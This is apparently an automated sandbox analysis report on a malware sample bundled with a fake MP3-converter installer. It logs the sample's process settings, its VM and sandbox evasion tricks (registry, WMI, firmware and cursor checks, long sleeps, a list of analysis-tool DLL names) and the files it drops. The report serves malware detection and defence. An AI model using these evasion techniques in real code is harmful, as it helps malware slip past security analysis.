Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: cWSgbiiWuHkrGD6e9Bvvb03z.exe PID: 1240, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 6132, type: MEMORYSTR

Found API chain indicative of sandbox detection

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Stalling execution: Execution stalls by calling Sleep

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\tDrDIT3EJ93dpzmmxTIMr4ah.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Binary or memory string: DIR_WATCH.DLL
Source: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Binary or memory string: SBIEDLL.DLL
Source: ZzA4CiLYTNO5oC4gZR_wrNaZ.exe	Binary or memory string: API_LOG.DLL
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003015000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE@\]Q
Source: MSBuild.exe, 00000021.00000002.2873629498.0000000003015000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \QEMU-GA.EXE
Source: RegAsm.exe, 0000001E.00000002.3391212061.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: AHAL9THJOHNDOEAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Special instruction interceptor: First address: EF3339 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe	Special instruction interceptor: First address: 686536 instructions caused by: Self-modifying code

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory allocated: 1020000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory allocated: 2C90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Memory allocated: 1340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Memory allocated: 268C13F0000 memory reserve \| memory write watch
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Memory allocated: 268DAE50000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 28A0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2A20000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 28A0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 14B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 2F10000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Memory allocated: 4F10000 memory reserve \| memory write watch

Contains capabilities to detect virtual machines

Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Contains functionality to detect sandboxes (mouse cursor move detection)

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Code function: GetCursorPos,GetCursorPos,GetCursorPos,Sleep,GetCursorPos,Sleep,GetCursorPos,

8_2_0045D9F0

Contains long sleeps (>= 3 min)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe	Thread delayed: delay time: 300000	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Thread delayed: delay time: 922337203685477

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

Window / User API: threadDelayed 1771

Jump to behavior

Found decision node followed by non-executed suspicious APIs

Source: C:\Users\user\Documents\SimpleAdobe\pnUE3Ri3AJFo6xuNgBEk3Rs_.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

Found dropped PE file which has not been started or loaded

Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcp120.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\mousehelper.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\libcurl.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\avdevice-58.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-L54T1.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\libmp3lame.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\msvcp140.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\QtAVWidgets1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\libeay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-L6RND.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\Qt5OpenGL.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-J1NGJ.tmp\_isetup\_RegDLL.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-FLU1L.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-9KGTB.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-L99RE.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\sqlx[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Soft Jenim MP3 Converter\is-E8REQ.tmp	Jump to dropped file
